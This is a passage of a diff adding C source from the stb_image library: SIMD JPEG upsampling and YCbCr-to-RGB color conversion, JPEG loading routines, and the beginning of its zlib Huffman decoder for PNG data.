+   int i=0,t0,t1;
+
+   if (w == 1) {
+      out[0] = out[1] = stbi__div4(3*in_near[0] + in_far[0] + 2);
+      return out;
+   }
+
+   t1 = 3*in_near[0] + in_far[0];
+   // process groups of 8 pixels for as long as we can.
+   // note we can't handle the last pixel in a row in this loop
+   // because we need to handle the filter boundary conditions.
+   for (; i < ((w-1) & ~7); i += 8) {
+#if defined(STBI_SSE2)
+      // load and perform the vertical filtering pass
+      // this uses 3*x + y = 4*x + (y - x)
+      __m128i zero  = _mm_setzero_si128();
+      __m128i farb  = _mm_loadl_epi64((__m128i *) (in_far + i));
+      __m128i nearb = _mm_loadl_epi64((__m128i *) (in_near + i));
+      __m128i farw  = _mm_unpacklo_epi8(farb, zero);
+      __m128i nearw = _mm_unpacklo_epi8(nearb, zero);
+      __m128i diff  = _mm_sub_epi16(farw, nearw);
+      __m128i nears = _mm_slli_epi16(nearw, 2);
+      __m128i curr  = _mm_add_epi16(nears, diff); // current row
+
+      // horizontal filter works the same based on shifted vers of current
+      // row. "prev" is current row shifted right by 1 pixel; we need to
+      // insert the previous pixel value (from t1).
+      // "next" is current row shifted left by 1 pixel, with first pixel
+      // of next block of 8 pixels added in.
+      __m128i prv0 = _mm_slli_si128(curr, 2);
+      __m128i nxt0 = _mm_srli_si128(curr, 2);
+      __m128i prev = _mm_insert_epi16(prv0, t1, 0);
+      __m128i next = _mm_insert_epi16(nxt0, 3*in_near[i+8] + in_far[i+8], 7);
+
+      // horizontal filter, polyphase implementation since it's convenient:
+      // even pixels = 3*cur + prev = cur*4 + (prev - cur)
+      // odd  pixels = 3*cur + next = cur*4 + (next - cur)
+      // note the shared term.
+      __m128i bias  = _mm_set1_epi16(8);
+      __m128i curs = _mm_slli_epi16(curr, 2);
+      __m128i prvd = _mm_sub_epi16(prev, curr);
+      __m128i nxtd = _mm_sub_epi16(next, curr);
+      __m128i curb = _mm_add_epi16(curs, bias);
+      __m128i even = _mm_add_epi16(prvd, curb);
+      __m128i odd  = _mm_add_epi16(nxtd, curb);
+
+      // interleave even and odd pixels, then undo scaling.
+      __m128i int0 = _mm_unpacklo_epi16(even, odd);
+      __m128i int1 = _mm_unpackhi_epi16(even, odd);
+      __m128i de0  = _mm_srli_epi16(int0, 4);
+      __m128i de1  = _mm_srli_epi16(int1, 4);
+
+      // pack and write output
+      __m128i outv = _mm_packus_epi16(de0, de1);
+      _mm_storeu_si128((__m128i *) (out + i*2), outv);
+#elif defined(STBI_NEON)
+      // load and perform the vertical filtering pass
+      // this uses 3*x + y = 4*x + (y - x)
+      uint8x8_t farb  = vld1_u8(in_far + i);
+      uint8x8_t nearb = vld1_u8(in_near + i);
+      int16x8_t diff  = vreinterpretq_s16_u16(vsubl_u8(farb, nearb));
+      int16x8_t nears = vreinterpretq_s16_u16(vshll_n_u8(nearb, 2));
+      int16x8_t curr  = vaddq_s16(nears, diff); // current row
+
+      // horizontal filter works the same based on shifted vers of current
+      // row. "prev" is current row shifted right by 1 pixel; we need to
+      // insert the previous pixel value (from t1).
+      // "next" is current row shifted left by 1 pixel, with first pixel
+      // of next block of 8 pixels added in.
+      int16x8_t prv0 = vextq_s16(curr, curr, 7);
+      int16x8_t nxt0 = vextq_s16(curr, curr, 1);
+      int16x8_t prev = vsetq_lane_s16(t1, prv0, 0);
+      int16x8_t next = vsetq_lane_s16(3*in_near[i+8] + in_far[i+8], nxt0, 7);
+
+      // horizontal filter, polyphase implementation since it's convenient:
+      // even pixels = 3*cur + prev = cur*4 + (prev - cur)
+      // odd  pixels = 3*cur + next = cur*4 + (next - cur)
+      // note the shared term.
+      int16x8_t curs = vshlq_n_s16(curr, 2);
+      int16x8_t prvd = vsubq_s16(prev, curr);
+      int16x8_t nxtd = vsubq_s16(next, curr);
+      int16x8_t even = vaddq_s16(curs, prvd);
+      int16x8_t odd  = vaddq_s16(curs, nxtd);
+
+      // undo scaling and round, then store with even/odd phases interleaved
+      uint8x8x2_t o;
+      o.val[0] = vqrshrun_n_s16(even, 4);
+      o.val[1] = vqrshrun_n_s16(odd,  4);
+      vst2_u8(out + i*2, o);
+#endif
+
+      // "previous" value for next iter
+      t1 = 3*in_near[i+7] + in_far[i+7];
+   }
+
+   t0 = t1;
+   t1 = 3*in_near[i] + in_far[i];
+   out[i*2] = stbi__div16(3*t1 + t0 + 8);
+
+   for (++i; i < w; ++i) {
+      t0 = t1;
+      t1 = 3*in_near[i]+in_far[i];
+      out[i*2-1] = stbi__div16(3*t0 + t1 + 8);
+      out[i*2  ] = stbi__div16(3*t1 + t0 + 8);
+   }
+   out[w*2-1] = stbi__div4(t1+2);
+
+   STBI_NOTUSED(hs);
+
+   return out;
+}
+#endif
+
+static stbi_uc *stbi__resample_row_generic(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // resample with nearest-neighbor
+   int i,j;
+   STBI_NOTUSED(in_far);
+   for (i=0; i < w; ++i)
+      for (j=0; j < hs; ++j)
+         out[i*hs+j] = in_near[i];
+   return out;
+}
+
+// this is a reduced-precision calculation of YCbCr-to-RGB introduced
+// to make sure the code produces the same results in both SIMD and scalar
+#define stbi__float2fixed(x)  (((int) ((x) * 4096.0f + 0.5f)) << 8)
+static void stbi__YCbCr_to_RGB_row(stbi_uc *out, const stbi_uc *y, const stbi_uc *pcb, const stbi_uc *pcr, int count, int step)
+{
+   int i;
+   for (i=0; i < count; ++i) {
+      int y_fixed = (y[i] << 20) + (1<<19); // rounding
+      int r,g,b;
+      int cr = pcr[i] - 128;
+      int cb = pcb[i] - 128;
+      r = y_fixed +  cr* stbi__float2fixed(1.40200f);
+      g = y_fixed + (cr*-stbi__float2fixed(0.71414f)) + ((cb*-stbi__float2fixed(0.34414f)) & 0xffff0000);
+      b = y_fixed                                     +   cb* stbi__float2fixed(1.77200f);
+      r >>= 20;
+      g >>= 20;
+      b >>= 20;
+      if ((unsigned) r > 255) { if (r < 0) r = 0; else r = 255; }
+      if ((unsigned) g > 255) { if (g < 0) g = 0; else g = 255; }
+      if ((unsigned) b > 255) { if (b < 0) b = 0; else b = 255; }
+      out[0] = (stbi_uc)r;
+      out[1] = (stbi_uc)g;
+      out[2] = (stbi_uc)b;
+      out[3] = 255;
+      out += step;
+   }
+}
+
+#if defined(STBI_SSE2) || defined(STBI_NEON)
+static void stbi__YCbCr_to_RGB_simd(stbi_uc *out, stbi_uc const *y, stbi_uc const *pcb, stbi_uc const *pcr, int count, int step)
+{
+   int i = 0;
+
+#ifdef STBI_SSE2
+   // step == 3 is pretty ugly on the final interleave, and i'm not convinced
+   // it's useful in practice (you wouldn't use it for textures, for example).
+   // so just accelerate step == 4 case.
+   if (step == 4) {
+      // this is a fairly straightforward implementation and not super-optimized.
+      __m128i signflip  = _mm_set1_epi8(-0x80);
+      __m128i cr_const0 = _mm_set1_epi16(   (short) ( 1.40200f*4096.0f+0.5f));
+      __m128i cr_const1 = _mm_set1_epi16( - (short) ( 0.71414f*4096.0f+0.5f));
+      __m128i cb_const0 = _mm_set1_epi16( - (short) ( 0.34414f*4096.0f+0.5f));
+      __m128i cb_const1 = _mm_set1_epi16(   (short) ( 1.77200f*4096.0f+0.5f));
+      __m128i y_bias = _mm_set1_epi8((char) (unsigned char) 128);
+      __m128i xw = _mm_set1_epi16(255); // alpha channel
+
+      for (; i+7 < count; i += 8) {
+         // load
+         __m128i y_bytes = _mm_loadl_epi64((__m128i *) (y+i));
+         __m128i cr_bytes = _mm_loadl_epi64((__m128i *) (pcr+i));
+         __m128i cb_bytes = _mm_loadl_epi64((__m128i *) (pcb+i));
+         __m128i cr_biased = _mm_xor_si128(cr_bytes, signflip); // -128
+         __m128i cb_biased = _mm_xor_si128(cb_bytes, signflip); // -128
+
+         // unpack to short (and left-shift cr, cb by 8)
+         __m128i yw  = _mm_unpacklo_epi8(y_bias, y_bytes);
+         __m128i crw = _mm_unpacklo_epi8(_mm_setzero_si128(), cr_biased);
+         __m128i cbw = _mm_unpacklo_epi8(_mm_setzero_si128(), cb_biased);
+
+         // color transform
+         __m128i yws = _mm_srli_epi16(yw, 4);
+         __m128i cr0 = _mm_mulhi_epi16(cr_const0, crw);
+         __m128i cb0 = _mm_mulhi_epi16(cb_const0, cbw);
+         __m128i cb1 = _mm_mulhi_epi16(cbw, cb_const1);
+         __m128i cr1 = _mm_mulhi_epi16(crw, cr_const1);
+         __m128i rws = _mm_add_epi16(cr0, yws);
+         __m128i gwt = _mm_add_epi16(cb0, yws);
+         __m128i bws = _mm_add_epi16(yws, cb1);
+         __m128i gws = _mm_add_epi16(gwt, cr1);
+
+         // descale
+         __m128i rw = _mm_srai_epi16(rws, 4);
+         __m128i bw = _mm_srai_epi16(bws, 4);
+         __m128i gw = _mm_srai_epi16(gws, 4);
+
+         // back to byte, set up for transpose
+         __m128i brb = _mm_packus_epi16(rw, bw);
+         __m128i gxb = _mm_packus_epi16(gw, xw);
+
+         // transpose to interleave channels
+         __m128i t0 = _mm_unpacklo_epi8(brb, gxb);
+         __m128i t1 = _mm_unpackhi_epi8(brb, gxb);
+         __m128i o0 = _mm_unpacklo_epi16(t0, t1);
+         __m128i o1 = _mm_unpackhi_epi16(t0, t1);
+
+         // store
+         _mm_storeu_si128((__m128i *) (out + 0), o0);
+         _mm_storeu_si128((__m128i *) (out + 16), o1);
+         out += 32;
+      }
+   }
+#endif
+
+#ifdef STBI_NEON
+   // in this version, step=3 support would be easy to add. but is there demand?
+   if (step == 4) {
+      // this is a fairly straightforward implementation and not super-optimized.
+      uint8x8_t signflip = vdup_n_u8(0x80);
+      int16x8_t cr_const0 = vdupq_n_s16(   (short) ( 1.40200f*4096.0f+0.5f));
+      int16x8_t cr_const1 = vdupq_n_s16( - (short) ( 0.71414f*4096.0f+0.5f));
+      int16x8_t cb_const0 = vdupq_n_s16( - (short) ( 0.34414f*4096.0f+0.5f));
+      int16x8_t cb_const1 = vdupq_n_s16(   (short) ( 1.77200f*4096.0f+0.5f));
+
+      for (; i+7 < count; i += 8) {
+         // load
+         uint8x8_t y_bytes  = vld1_u8(y + i);
+         uint8x8_t cr_bytes = vld1_u8(pcr + i);
+         uint8x8_t cb_bytes = vld1_u8(pcb + i);
+         int8x8_t cr_biased = vreinterpret_s8_u8(vsub_u8(cr_bytes, signflip));
+         int8x8_t cb_biased = vreinterpret_s8_u8(vsub_u8(cb_bytes, signflip));
+
+         // expand to s16
+         int16x8_t yws = vreinterpretq_s16_u16(vshll_n_u8(y_bytes, 4));
+         int16x8_t crw = vshll_n_s8(cr_biased, 7);
+         int16x8_t cbw = vshll_n_s8(cb_biased, 7);
+
+         // color transform
+         int16x8_t cr0 = vqdmulhq_s16(crw, cr_const0);
+         int16x8_t cb0 = vqdmulhq_s16(cbw, cb_const0);
+         int16x8_t cr1 = vqdmulhq_s16(crw, cr_const1);
+         int16x8_t cb1 = vqdmulhq_s16(cbw, cb_const1);
+         int16x8_t rws = vaddq_s16(yws, cr0);
+         int16x8_t gws = vaddq_s16(vaddq_s16(yws, cb0), cr1);
+         int16x8_t bws = vaddq_s16(yws, cb1);
+
+         // undo scaling, round, convert to byte
+         uint8x8x4_t o;
+         o.val[0] = vqrshrun_n_s16(rws, 4);
+         o.val[1] = vqrshrun_n_s16(gws, 4);
+         o.val[2] = vqrshrun_n_s16(bws, 4);
+         o.val[3] = vdup_n_u8(255);
+
+         // store, interleaving r/g/b/a
+         vst4_u8(out, o);
+         out += 8*4;
+      }
+   }
+#endif
+
+   for (; i < count; ++i) {
+      int y_fixed = (y[i] << 20) + (1<<19); // rounding
+      int r,g,b;
+      int cr = pcr[i] - 128;
+      int cb = pcb[i] - 128;
+      r = y_fixed + cr* stbi__float2fixed(1.40200f);
+      g = y_fixed + cr*-stbi__float2fixed(0.71414f) + ((cb*-stbi__float2fixed(0.34414f)) & 0xffff0000);
+      b = y_fixed                                   +   cb* stbi__float2fixed(1.77200f);
+      r >>= 20;
+      g >>= 20;
+      b >>= 20;
+      if ((unsigned) r > 255) { if (r < 0) r = 0; else r = 255; }
+      if ((unsigned) g > 255) { if (g < 0) g = 0; else g = 255; }
+      if ((unsigned) b > 255) { if (b < 0) b = 0; else b = 255; }
+      out[0] = (stbi_uc)r;
+      out[1] = (stbi_uc)g;
+      out[2] = (stbi_uc)b;
+      out[3] = 255;
+      out += step;
+   }
+}
+#endif
+
+// set up the kernels
+static void stbi__setup_jpeg(stbi__jpeg *j)
+{
+   j->idct_block_kernel = stbi__idct_block;
+   j->YCbCr_to_RGB_kernel = stbi__YCbCr_to_RGB_row;
+   j->resample_row_hv_2_kernel = stbi__resample_row_hv_2;
+
+#ifdef STBI_SSE2
+   if (stbi__sse2_available()) {
+      j->idct_block_kernel = stbi__idct_simd;
+      j->YCbCr_to_RGB_kernel = stbi__YCbCr_to_RGB_simd;
+      j->resample_row_hv_2_kernel = stbi__resample_row_hv_2_simd;
+   }
+#endif
+
+#ifdef STBI_NEON
+   j->idct_block_kernel = stbi__idct_simd;
+   j->YCbCr_to_RGB_kernel = stbi__YCbCr_to_RGB_simd;
+   j->resample_row_hv_2_kernel = stbi__resample_row_hv_2_simd;
+#endif
+}
+
+// clean up the temporary component buffers
+static void stbi__cleanup_jpeg(stbi__jpeg *j)
+{
+   stbi__free_jpeg_components(j, j->s->img_n, 0);
+}
+
+typedef struct
+{
+   resample_row_func resample;
+   stbi_uc *line0,*line1;
+   int hs,vs;   // expansion factor in each axis
+   int w_lores; // horizontal pixels pre-expansion
+   int ystep;   // how far through vertical expansion we are
+   int ypos;    // which pre-expansion row we're on
+} stbi__resample;
+
+// fast 0..255 * 0..255 => 0..255 rounded multiplication
+static stbi_uc stbi__blinn_8x8(stbi_uc x, stbi_uc y)
+{
+   unsigned int t = x*y + 128;
+   return (stbi_uc) ((t + (t >>8)) >> 8);
+}
+
+static stbi_uc *load_jpeg_image(stbi__jpeg *z, int *out_x, int *out_y, int *comp, int req_comp)
+{
+   int n, decode_n, is_rgb;
+   z->s->img_n = 0; // make stbi__cleanup_jpeg safe
+
+   // validate req_comp
+   if (req_comp < 0 || req_comp > 4) return stbi__errpuc("bad req_comp", "Internal error");
+
+   // load a jpeg image from whichever source, but leave in YCbCr format
+   if (!stbi__decode_jpeg_image(z)) { stbi__cleanup_jpeg(z); return NULL; }
+
+   // determine actual number of components to generate
+   n = req_comp ? req_comp : z->s->img_n >= 3 ? 3 : 1;
+
+   is_rgb = z->s->img_n == 3 && (z->rgb == 3 || (z->app14_color_transform == 0 && !z->jfif));
+
+   if (z->s->img_n == 3 && n < 3 && !is_rgb)
+      decode_n = 1;
+   else
+      decode_n = z->s->img_n;
+
+   // resample and color-convert
+   {
+      int k;
+      unsigned int i,j;
+      stbi_uc *output;
+      stbi_uc *coutput[4];
+
+      stbi__resample res_comp[4];
+
+      for (k=0; k < decode_n; ++k) {
+         stbi__resample *r = &res_comp[k];
+
+         // allocate line buffer big enough for upsampling off the edges
+         // with upsample factor of 4
+         z->img_comp[k].linebuf = (stbi_uc *) stbi__malloc(z->s->img_x + 3);
+         if (!z->img_comp[k].linebuf) { stbi__cleanup_jpeg(z); return stbi__errpuc("outofmem", "Out of memory"); }
+
+         r->hs      = z->img_h_max / z->img_comp[k].h;
+         r->vs      = z->img_v_max / z->img_comp[k].v;
+         r->ystep   = r->vs >> 1;
+         r->w_lores = (z->s->img_x + r->hs-1) / r->hs;
+         r->ypos    = 0;
+         r->line0   = r->line1 = z->img_comp[k].data;
+
+         if      (r->hs == 1 && r->vs == 1) r->resample = resample_row_1;
+         else if (r->hs == 1 && r->vs == 2) r->resample = stbi__resample_row_v_2;
+         else if (r->hs == 2 && r->vs == 1) r->resample = stbi__resample_row_h_2;
+         else if (r->hs == 2 && r->vs == 2) r->resample = z->resample_row_hv_2_kernel;
+         else                               r->resample = stbi__resample_row_generic;
+      }
+
+      // can't error after this so, this is safe
+      output = (stbi_uc *) stbi__malloc_mad3(n, z->s->img_x, z->s->img_y, 1);
+      if (!output) { stbi__cleanup_jpeg(z); return stbi__errpuc("outofmem", "Out of memory"); }
+
+      // now go ahead and resample
+      for (j=0; j < z->s->img_y; ++j) {
+         stbi_uc *out = output + n * z->s->img_x * j;
+         for (k=0; k < decode_n; ++k) {
+            stbi__resample *r = &res_comp[k];
+            int y_bot = r->ystep >= (r->vs >> 1);
+            coutput[k] = r->resample(z->img_comp[k].linebuf,
+                                     y_bot ? r->line1 : r->line0,
+                                     y_bot ? r->line0 : r->line1,
+                                     r->w_lores, r->hs);
+            if (++r->ystep >= r->vs) {
+               r->ystep = 0;
+               r->line0 = r->line1;
+               if (++r->ypos < z->img_comp[k].y)
+                  r->line1 += z->img_comp[k].w2;
+            }
+         }
+         if (n >= 3) {
+            stbi_uc *y = coutput[0];
+            if (z->s->img_n == 3) {
+               if (is_rgb) {
+                  for (i=0; i < z->s->img_x; ++i) {
+                     out[0] = y[i];
+                     out[1] = coutput[1][i];
+                     out[2] = coutput[2][i];
+                     out[3] = 255;
+                     out += n;
+                  }
+               } else {
+                  z->YCbCr_to_RGB_kernel(out, y, coutput[1], coutput[2], z->s->img_x, n);
+               }
+            } else if (z->s->img_n == 4) {
+               if (z->app14_color_transform == 0) { // CMYK
+                  for (i=0; i < z->s->img_x; ++i) {
+                     stbi_uc m = coutput[3][i];
+                     out[0] = stbi__blinn_8x8(coutput[0][i], m);
+                     out[1] = stbi__blinn_8x8(coutput[1][i], m);
+                     out[2] = stbi__blinn_8x8(coutput[2][i], m);
+                     out[3] = 255;
+                     out += n;
+                  }
+               } else if (z->app14_color_transform == 2) { // YCCK
+                  z->YCbCr_to_RGB_kernel(out, y, coutput[1], coutput[2], z->s->img_x, n);
+                  for (i=0; i < z->s->img_x; ++i) {
+                     stbi_uc m = coutput[3][i];
+                     out[0] = stbi__blinn_8x8(255 - out[0], m);
+                     out[1] = stbi__blinn_8x8(255 - out[1], m);
+                     out[2] = stbi__blinn_8x8(255 - out[2], m);
+                     out += n;
+                  }
+               } else { // YCbCr + alpha?  Ignore the fourth channel for now
+                  z->YCbCr_to_RGB_kernel(out, y, coutput[1], coutput[2], z->s->img_x, n);
+               }
+            } else
+               for (i=0; i < z->s->img_x; ++i) {
+                  out[0] = out[1] = out[2] = y[i];
+                  out[3] = 255; // not used if n==3
+                  out += n;
+               }
+         } else {
+            if (is_rgb) {
+               if (n == 1)
+                  for (i=0; i < z->s->img_x; ++i)
+                     *out++ = stbi__compute_y(coutput[0][i], coutput[1][i], coutput[2][i]);
+               else {
+                  for (i=0; i < z->s->img_x; ++i, out += 2) {
+                     out[0] = stbi__compute_y(coutput[0][i], coutput[1][i], coutput[2][i]);
+                     out[1] = 255;
+                  }
+               }
+            } else if (z->s->img_n == 4 && z->app14_color_transform == 0) {
+               for (i=0; i < z->s->img_x; ++i) {
+                  stbi_uc m = coutput[3][i];
+                  stbi_uc r = stbi__blinn_8x8(coutput[0][i], m);
+                  stbi_uc g = stbi__blinn_8x8(coutput[1][i], m);
+                  stbi_uc b = stbi__blinn_8x8(coutput[2][i], m);
+                  out[0] = stbi__compute_y(r, g, b);
+                  out[1] = 255;
+                  out += n;
+               }
+            } else if (z->s->img_n == 4 && z->app14_color_transform == 2) {
+               for (i=0; i < z->s->img_x; ++i) {
+                  out[0] = stbi__blinn_8x8(255 - coutput[0][i], coutput[3][i]);
+                  out[1] = 255;
+                  out += n;
+               }
+            } else {
+               stbi_uc *y = coutput[0];
+               if (n == 1)
+                  for (i=0; i < z->s->img_x; ++i) out[i] = y[i];
+               else
+                  for (i=0; i < z->s->img_x; ++i) *out++ = y[i], *out++ = 255;
+            }
+         }
+      }
+      stbi__cleanup_jpeg(z);
+      *out_x = z->s->img_x;
+      *out_y = z->s->img_y;
+      if (comp) *comp = z->s->img_n >= 3 ? 3 : 1; // report original components, not output
+      return output;
+   }
+}
+
+static void *stbi__jpeg_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   unsigned char* result;
+   stbi__jpeg* j = (stbi__jpeg*) stbi__malloc(sizeof(stbi__jpeg));
+   STBI_NOTUSED(ri);
+   j->s = s;
+   stbi__setup_jpeg(j);
+   result = load_jpeg_image(j, x,y,comp,req_comp);
+   STBI_FREE(j);
+   return result;
+}
+
+static int stbi__jpeg_test(stbi__context *s)
+{
+   int r;
+   stbi__jpeg* j = (stbi__jpeg*)stbi__malloc(sizeof(stbi__jpeg));
+   j->s = s;
+   stbi__setup_jpeg(j);
+   r = stbi__decode_jpeg_header(j, STBI__SCAN_type);
+   stbi__rewind(s);
+   STBI_FREE(j);
+   return r;
+}
+
+static int stbi__jpeg_info_raw(stbi__jpeg *j, int *x, int *y, int *comp)
+{
+   if (!stbi__decode_jpeg_header(j, STBI__SCAN_header)) {
+      stbi__rewind( j->s );
+      return 0;
+   }
+   if (x) *x = j->s->img_x;
+   if (y) *y = j->s->img_y;
+   if (comp) *comp = j->s->img_n >= 3 ? 3 : 1;
+   return 1;
+}
+
+static int stbi__jpeg_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int result;
+   stbi__jpeg* j = (stbi__jpeg*) (stbi__malloc(sizeof(stbi__jpeg)));
+   j->s = s;
+   result = stbi__jpeg_info_raw(j, x, y, comp);
+   STBI_FREE(j);
+   return result;
+}
+#endif
+
+// public domain zlib decode    v0.2  Sean Barrett 2006-11-18
+//    simple implementation
+//      - all input must be provided in an upfront buffer
+//      - all output is written to a single output buffer (can malloc/realloc)
+//    performance
+//      - fast huffman
+
+#ifndef STBI_NO_ZLIB
+
+// fast-way is faster to check than jpeg huffman, but slow way is slower
+#define STBI__ZFAST_BITS  9 // accelerate all cases in default tables
+#define STBI__ZFAST_MASK  ((1 << STBI__ZFAST_BITS) - 1)
+
+// zlib-style huffman encoding
+// (jpegs packs from left, zlib from right, so can't share code)
+typedef struct
+{
+   stbi__uint16 fast[1 << STBI__ZFAST_BITS];
+   stbi__uint16 firstcode[16];
+   int maxcode[17];
+   stbi__uint16 firstsymbol[16];
+   stbi_uc  size[288];
+   stbi__uint16 value[288];
+} stbi__zhuffman;
+
+stbi_inline static int stbi__bitreverse16(int n)
+{
+  n = ((n & 0xAAAA) >>  1) | ((n & 0x5555) << 1);
+  n = ((n & 0xCCCC) >>  2) | ((n & 0x3333) << 2);
+  n = ((n & 0xF0F0) >>  4) | ((n & 0x0F0F) << 4);
+  n = ((n & 0xFF00) >>  8) | ((n & 0x00FF) << 8);
+  return n;
+}
+
+stbi_inline static int stbi__bit_reverse(int v, int bits)
+{
+   STBI_ASSERT(bits <= 16);
+   // to bit reverse n bits, reverse 16 and shift
+   // e.g. 11 bits, bit reverse and shift away 5
+   return stbi__bitreverse16(v) >> (16-bits);
+}
+
+static int stbi__zbuild_huffman(stbi__zhuffman *z, const stbi_uc *sizelist, int num)
+{
+   int i,k=0;
+   int code, next_code[16], sizes[17];
+
+   // DEFLATE spec for generating codes
+   memset(sizes, 0, sizeof(sizes));
+   memset(z->fast, 0, sizeof(z->fast));
+   for (i=0; i < num; ++i)
+      ++sizes[sizelist[i]];
+   sizes[0] = 0;
+   for (i=1; i < 16; ++i)
+      if (sizes[i] > (1 << i))
+         return stbi__err("bad sizes", "Corrupt PNG");
+   code = 0;
+   for (i=1; i < 16; ++i) {
+      next_code[i] = code;
+      z->firstcode[i] = (stbi__uint16) code;
+      z->firstsymbol[i] = (stbi__uint16) k;
+      code = (code + sizes[i]);
+      if (sizes[i])
+         if (code-1 >= (1 << i)) return stbi__err("bad codelengths","Corrupt PNG");
+      z->maxcode[i] = code << (16-i); // preshift for inner loop
+      code <<= 1;
+      k += sizes[i];
+   }
+   z->maxcode[16] = 0x10000; // sentinel
+   for (i=0; i < num; ++i) {
+      int s = sizelist[i];
+      if (s) {
+         int c = next_code[s] - z->firstcode[s] + z->firstsymbol[s];
+         stbi__uint16 fastv = (stbi__uint16) ((s << 9) | i);
+         z->size [c] = (stbi_uc     ) s;
+         z->value[c] = (stbi__uint16) i;
+         if (s <= STBI__ZFAST_BITS) {
+            int j = stbi__bit_reverse(next_code[s],s);
+            while (j < (1 << STBI__ZFAST_BITS)) {
+               z->fast[j] = fastv;
+               j += (1 << s);
+            }
+         }
+         ++next_code[s];
+      }
+   }
+   return 1;
+}
+
+// zlib-from-memory implementation for PNG reading
+//    because PNG allows splitting the zlib stream arbitrarily,
+//    and it's annoying structurally to have PNG call ZLIB call PNG,
+//    we require PNG read all the IDATs and combine them into a single
+//    memory buffer
+
+typedef struct
+{
+   stbi_uc *zbuffer, *zbuffer_end;
+   int num_bits;
+   stbi__uint32 code_buffer;
+
+   char *zout;
+   char *zout_start;
+   char *zout_end;
+   int   z_expandable;
+
+   stbi__zhuffman z_length, z_distance;
+} stbi__zbuf;
+
+stbi_inline static stbi_uc stbi__zget8(stbi__zbuf *z)
+{
+   if (z->zbuffer >= z->zbuffer_end) return 0;
+   return *z->zbuffer++;
+}
+
+static void stbi__fill_bits(stbi__zbuf *z)
+{
+   do {
+      STBI_ASSERT(z->code_buffer < (1U << z->num_bits));
+      z->code_buffer |= (unsigned int) stbi__zget8(z) << z->num_bits;
+      z->num_bits += 8;
+   } while (z->num_bits <= 24);
+}
+
+stbi_inline static unsigned int stbi__zreceive(stbi__zbuf *z, int n)
+{
+   unsigned int k;
+   if (z->num_bits < n) stbi__fill_bits(z);
+   k = z->code_buffer & ((1 << n) - 1);
+   z->code_buffer >>= n;
+   z->num_bits -= n;
+   return k;
+}
+
+static int stbi__zhuffman_decode_slowpath(stbi__zbuf *a, stbi__zhuffman *z)
+{
+   int b,s,k;
+   // not resolved by fast table, so compute it the slow way
+   // use jpeg approach, which requires MSbits at top
+   k = stbi__bit_reverse(a->code_buffer, 16);
+   for (s=STBI__ZFAST_BITS+1; ; ++s)
+      if (k < z->maxcode[s])
+         break;
+   if (s == 16) return -1; // invalid code!
+   // code size is s, so:
+   b = (k >> (16-s)) - z->firstcode[s] + z->firstsymbol[s];
+   STBI_ASSERT(z->size[b] == s);
+   a->code_buffer >>= s;
+   a->num_bits -= s;
+   return z->value[b];
+}
+
+stbi_inline static int stbi__zhuffman_decode(stbi__zbuf *a, stbi__zhuffman *z)
+{
+   int b,s;
+   if (a->num_bits < 16) stbi__fill_bits(a);
+   b = z->fast[a->code_buffer & STBI__ZFAST_MASK];
+   if (b) {
+      s = b >> 9;
+      a->code_buffer >>= s;
+      a->num_bits -= s;
+      return b & 511;
+   }
+   return stbi__zhuffman_decode_slowpath(a, z);
+}
+
+static int stbi__zexpand(stbi__zbuf *z, char *zout, int n)  // need to make room for n bytes
+{
+   char *q;
+   int cur, limit, old_limit;
+   z->zout = zout;
+   if (!z->z_expandable) return stbi__err("output buffer limit","Corrupt PNG");
+   cur   = (int) (z->zout     - z->zout_start);
+   limit = old_limit = (int) (z->zout_end - z->zout_start);
+   while (cur + n > limit)
+      limit *= 2;
+   q = (char *) STBI_REALLOC_SIZED(z->zout_start, old_limit, limit);
+   STBI_NOTUSED(old_limit);
+   if (q == NULL) return stbi__err("outofmem", "Out of memory");
+   z->zout_start = q;
+   z->zout       = q + cur;
+   z->zout_end   = q + limit;
+   return 1;
+}
+
+static const int stbi__zlength_base[31] = {
+   3,4,5,6,7,8,9,10,11,13,
+   15,17,19,23,27,31,35,43,51,59,
+   67,83,99,115,131,163,195,227,258,0,0 };
+
+static const int stbi__zlength_extra[31]=
+{ 0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0 };
+
+static const int stbi__zdist_base[32] = { 1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,
+257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577,0,0};
+
+static const int stbi__zdist_extra[32] =
+{ 0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13};
+
+static int stbi__parse_huffman_block(stbi__zbuf *a)
+{
+   char *zout = a->zout;
+   for(;;) {
+      int z = stbi__zhuffman_decode(a, &a->z_length);
+      if (z < 256) {
+         if (z < 0) return stbi__err("bad huffman code","Corrupt PNG"); // error in huffman codes
+         if (zout >= a->zout_end) {
+            if (!stbi__zexpand(a, zout, 1)) return 0;
+            zout = a->zout;
+         }
+         *zout++ = (char) z;
+      } else {
+         stbi_uc *p;
+         int len,dist;
+         if (z == 256) {
+            a->zout = zout;
+            return 1;
+         }
+         z -= 257;
+         len = stbi__zlength_base[z];
+         if (stbi__zlength_extra[z]) len += stbi__zreceive(a, stbi__zlength_extra[z]);
+         z = stbi__zhuffman_decode(a, &a->z_distance);
+         if (z < 0) return stbi__err("bad huffman code","Corrupt PNG");
+         dist = stbi__zdist_base[z];
+         if (stbi__zdist_extra[z]) dist += stbi__zreceive(a, stbi__zdist_extra[z]);
+         if (zout - a->zout_start < dist) return stbi__err("bad dist","Corrupt PNG");
+         if (zout + len > a->zout_end) {
+            if (!stbi__zexpand(a, zout, len)) return 0;
+            zout = a->zout;
+         }
+         p = (stbi_uc *) (zout - dist);
+         if (dist == 1) { // run of one byte; common in images.
+            stbi_uc v = *p;
+            if (len) { do *zout++ = v; while (--len); }
+         } else {
+            if (len) { do *zout++ = *p++; while (--len); }
+         }
+      }
+   }
+}
+
+static int stbi__compute_huffman_codes(stbi__zbuf *a)
+{
+   static const stbi_uc length_dezigzag[19] = { 16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15 };
+   stbi__zhuffman z_codelength;
+   stbi_uc lencodes[286+32+137];//padding for maximum single op
+   stbi_uc codelength_sizes[19];
+   int i,n;
+
+   int hlit  = stbi__zreceive(a,5) + 257;
+   int hdist = stbi__zreceive(a,5) + 1;
+   int hclen = stbi__zreceive(a,4) + 4;
+   int ntot  = hlit + hdist;
+
